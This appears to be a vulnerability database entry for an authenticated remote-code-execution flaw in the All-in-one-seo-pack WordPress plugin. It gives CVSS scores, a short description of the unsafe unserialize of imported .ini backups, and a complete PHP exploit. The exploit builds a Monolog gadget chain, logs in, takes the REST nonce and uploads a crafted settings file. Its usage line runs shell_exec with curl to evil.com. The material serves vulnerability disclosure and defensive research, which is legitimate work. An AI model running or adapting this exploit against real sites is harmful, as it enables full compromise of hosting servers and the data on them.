8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
The plugin enables authenticated users with “aioseo_tools_settings” privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin’s configuration by uploading a backup .ini file in the section “Tool > Import/Export”. However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution. As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).
<?php
/**
All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE
Author: Vincent MICHEL (@darkpills)
Dev notes:
- Exploit strategy inspiration from https://wpscan.com/vulnerability/10320
- Monolog gadget adapted from phpggc Monolog/RCE1
- Copy/pasted PHPGGC encoding function
*/
// from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin
// ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444'
namespace AIOSEO\Vendor\Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace {
// Quick and dirty HTTP request call class
class Request {
protected $base_url;
protected $cookiejar;
protected $proxy_host;
protected $proxy_port;
public function __construct($base_url, $proxy = null) {
$this->base_url = $base_url;
$this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
if ($proxy) {
$proxy_array = explode(":", $proxy);
$this->proxy_host = $proxy_array[0];
$this->proxy_port = $proxy_array[1];
}
}
public function do($uri, $post = null, $headers = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri);
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if ($this->proxy_host && $this->proxy_port) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host);
curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);
}
if ($headers) {
curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers);
}
if ($post) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$content = curl_exec($ch);
if(curl_errno($ch))
{
throw new Exception(sprintf("HTTP Error: %s", curl_error($ch)));
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 403) {
throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content));
} else if ($http_code >= 400) {
throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content));
}
curl_close($ch);
return $content;
}
}
// Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php
function process_serialized($serialized)
{
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string[$i];
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
// Banner
echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL;
echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL;
// Check args
if ($argc < 6) {
echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL;
echo sprintf("Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL;
exit(1);
}
// Check dependencies
if (!extension_loaded("curl")) {
echo "Extension php-curl not loaded!".PHP_EOL;
exit(1);
}
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
$function = $argv[4];
$parameter = $argv[5];
$proxy = isset($argv[6]) ? $argv[6] : null;
$request = new Request($wp_url, $proxy);
try {
// 1) Log in as admin
echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL;
$request->do("/wp-login.php", [
'log' => $wp_user,
'pwd' => $wp_pass,
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
]);
// 2) GET REST Nonce
echo "[+] Getting WP REST API nonce".PHP_EOL;
$content = $request->do("/wp-admin/post-new.php");
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
if (!isset($matches[1])) {
echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL;
exit(1);
}
$restnonce = $matches[1];
echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL;
// 3) Upload file to trigger RCE
echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL;
// Create the POST payload template
$boundary = uniqid();
$postData = "";
$postData .= "------WebKitFormBoundary".$boundary ."\r\n";
$postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n";
$postData .= "\r\n";
$postData .= "[Test]\r\n";
$postData .= "test='%s'\r\n";
$postData .= "\r\n";
$postData .= "------WebKitFormBoundary".$boundary ."--\r\n";
// Create the gadget chain object
$gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler(
new \AIOSEO\Vendor\Monolog\Handler\BufferHandler(
['current', $function],
[$parameter, 'level' => null]
)
);
// Serialize the object, encode the string, and populate the POST template
$postData = sprintf($postData, process_serialized(serialize($gadgetChain)));
// Append in HTTP headers wordpress nonce from previous request in
$headers = array(
"X-WP-Nonce: $restnonce",
"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary
);
echo "[+] Uploading ini file with import settings".PHP_EOL;
$content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers);
echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL;
exit(0);
} catch (Exception $e) {
echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL;
exit(1);
}
}
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C